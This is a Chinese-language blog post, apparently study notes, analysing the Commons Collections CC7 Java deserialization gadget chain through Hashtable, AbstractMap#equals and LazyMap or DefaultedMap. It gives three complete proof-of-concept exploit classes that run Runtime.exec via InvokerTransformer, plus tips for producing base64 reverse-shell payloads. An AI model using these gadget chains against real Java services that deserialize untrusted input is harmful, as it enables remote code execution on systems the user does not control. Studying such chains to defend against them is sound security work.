https://infernity.top/2024/04/18/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-CC7%E9%93%BE/
0x01链子分析
和CC5一样，改变了CC1的开头，但LaztMap#get()后半段是一样的
0x02版本
jdk：jdk8u65 CC：Commons-Collections 3.2.1
0x03链子寻找
那我们找一下能调用get的方法
AbstractMap#equals
在AbstractMap#equals中
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key))) //调用get方法
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
m.get()调用了get方法
Hashtable#reconstitutionPut()
在Hashtable类的reconstitutionPut中调用了equals方法
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) { //调用equals方法
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
Hashtable#readObject()
在本类的readObject()方法中发现调用了reconstitutionPut方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
0x04POC编写
我们先看一下equals方法
public boolean equals(Object o) {
//判断是否为同一对象
if (o == this)
return true;
//判断运行类型是否不是map
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
//判断HashMap的元素的个数size
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
//判断如果value为null，则判断key
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
//如果value不为null，判断value内容是否相同
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
如果要进入get方法的话需要先经过三个if语句的判断
if (o == this) //判断o是否为对象本身
return true;
if (!(o instanceof Map)) //判断类型是否是Map类型
return false;
Map<?,?> m = (Map<?,?>) o; //将对象 o 强制转换为泛型类型为未知类型的 Map
if (m.size() != size()) //判断Map的元素的个数size
return false;
往后看可以发现，当以上三个判断都不满足的情况下，则进一步判断Map中的元素，也就是判断元素的key和value的内容是否相同，在value不为null的情况下，m会调用get方法获取key的内容。虽然对象o强制成Map类型，但是m对象本质上是一个LazyMap。因此m对象调用get方法时实际上是调用了LazyMap的get方法。
我们看看readObject方法
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// 读取table数组的容量
int origlength = s.readInt();
//读取table数组的元素个数
int elements = s.readInt();
//计算table数组的length
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
//根据length创建table数组
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
//反序列化，还原table数组
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
reconstitutionPut(table, key, value);
}
}
貌似没什么需要注意的
再来看看reconstitutionPut方法
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
//value不能为null
if (value == null) {
throw new java.io.StreamCorruptedException();
}
//重新计算key的hash值
int hash = key.hashCode();
//根据hash值计算存储索引
int index = (hash & 0x7FFFFFFF) % tab.length;
//判断元素的key是否重复
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
//如果key重复则抛出异常
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
//key不重复则将元素添加到table数组中
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
reconstitutionPut方法首先对value进行不为null的校验，否则抛出反序列化异常
然后根据key计算出元素在table数组中的存储索引，判断元素在table数组中是否重复，这里的话会调用equals方法
CC7利用链的漏洞触发的关键就在reconstitutionPut方法中，该方法在判断重复元素的时候校验了两个元素的hash值是否一样，然后接着key会调用equals方法判断key是否重复时就会触发漏洞。
所以我们不难看出，在Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会调用equals方法，否则不会触发漏洞。
那么我们就需要创建两个Map对象
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
LazyMap1.put("aa",1);
Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
LazyMap2.put("bb",1);
Hashtable hashtable = new Hashtable();
hashtable.put(LazyMap1,1);
hashtable.put(LazyMap2,1);
这里需要注意一个点，那就是在反序列化时，reconstitutionPut方法中的if判断中两个元素的hash值必须相同的情况下，才会调用eauals方法。
infer师傅这里给出两组hash相同的值：
yy与zZ
Ea与FB
我们写个POC
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
LazyMap1.put("zZ",1);
Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
LazyMap2.put("yy",1);
Hashtable hashtable = new Hashtable();
hashtable.put(LazyMap1,1);
hashtable.put(LazyMap2,1);
在hashtable.put(LazyMap2,1)处打断点调试一下
此时的key是lazyMap2对象，而lazyMap2实际上调用了AbstractMap抽象类的equals方法，equals方法内部会调用lazyMap2的get方法判断table数组中元素的key在lazyMap2是否已存在，如果不存在，transform会把当前传入的key返回作为value，然后lazyMap2会调用put方法把key和value（yy=yy）添加到lazyMap2。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
当在反序列化时，reconstitutionPut方法在还原table数组时会调用equals方法判断重复元素，由于AbstractMap抽象类的equals方法校验的时候更为严格，会判断Map中元素的个数，由于lazyMap2和lazyMap1中的元素个数不一样则直接返回false，那么也就不会触发漏洞。
因此在构造CC7利用链的payload代码时，Hashtable在添加第二个元素后，lazyMap2需要调用remove方法删除元素yy才能触发漏洞。
lazyMap2.remove("yy");
所以我们最终的POC是
POC
package POC.CC7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//CC7链的开始
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Map LazyMap1=LazyMap.decorate(hashMap1,chainedTransformer);
LazyMap1.put("yy",1);
Map LazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
LazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(LazyMap1,1);
hashtable.put(LazyMap2,1);
LazyMap2.remove("yy");
serialize(hashtable);
unserialize("CC7.txt");
}
//定义序列化操作
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC7.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
但是这里往往在利用的时候例如我们需要生成反弹shell的序列化字符串的时候，往往会因为put方法的提前触发而导致后面进行base64编码无法进行，所以还是用之前的方法，先放一个空的Transformer，再换回去
package SerializeChains.CCchains.CC7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.ChainedTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
//CC7链的开始
//使用Hashtable来构造利用链调用LazyMap
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
//输出两个元素的hash值
System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());
System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());
//iTransformers = transformers（反射）
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
lazyMap2.remove("yy");
serialize(hashtable);
unserialize("CC7.txt");
}
//定义序列化操作
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC7.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
0x05补充链
后面做题的时候又发现一条野生链
Hashtable#readObject() 触发 DefaultedMap#equals() → 调用 transformer
先给poc，后面再补充上
POC2
package SerializeChains.CCchains.CC7;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.DefaultedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7plus {
/*
* Hashtable#readObject() 触发 DefaultedMap#equals() → 调用 transformer，适用于commons-collections4
* */
public static void main(String[] args) throws Exception {
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//CC7链的开始
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Class<DefaultedMap> d = DefaultedMap.class;
Constructor<DefaultedMap> declaredConstructor = d.getDeclaredConstructor(Map.class, Transformer.class);
declaredConstructor.setAccessible(true);
DefaultedMap defaultedMap1 = declaredConstructor.newInstance(hashMap1, transformerChain);
DefaultedMap defaultedMap2 = declaredConstructor.newInstance(hashMap2, transformerChain);
defaultedMap1.put("yy", 1);
defaultedMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(defaultedMap1, 1);
hashtable.put(defaultedMap2, 1);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
defaultedMap2.remove("yy");
serialize(hashtable);
unserialize("CC7plus.txt");
}
//定义序列化操作
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC7plus.txt"));
oos.writeObject(object);
oos.close();
}
//将序列化字符串转为base64
// public static void serialize(Object object) throws Exception{
// ByteArrayOutputStream data = new ByteArrayOutputStream();
// ObjectOutputStream oos = new ObjectOutputStream(data);
// oos.writeObject(object);
// oos.close();
// System.out.println(Base64.getEncoder().encode(data.toByteArray()));
// }
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
CC链总结
到此的话CC链的7条链子也算是学完了，我学的比较慢， 总是担心记不住知识点，总会多花时间返回去看笔记然后才开始学新的知识点，陆陆续续花费了差不多大半个月的时间，也算是比较慢的了，但总体来说审链子的时候还是学到了很多东西的，这里放infer师傅的一个CC链的思维导图
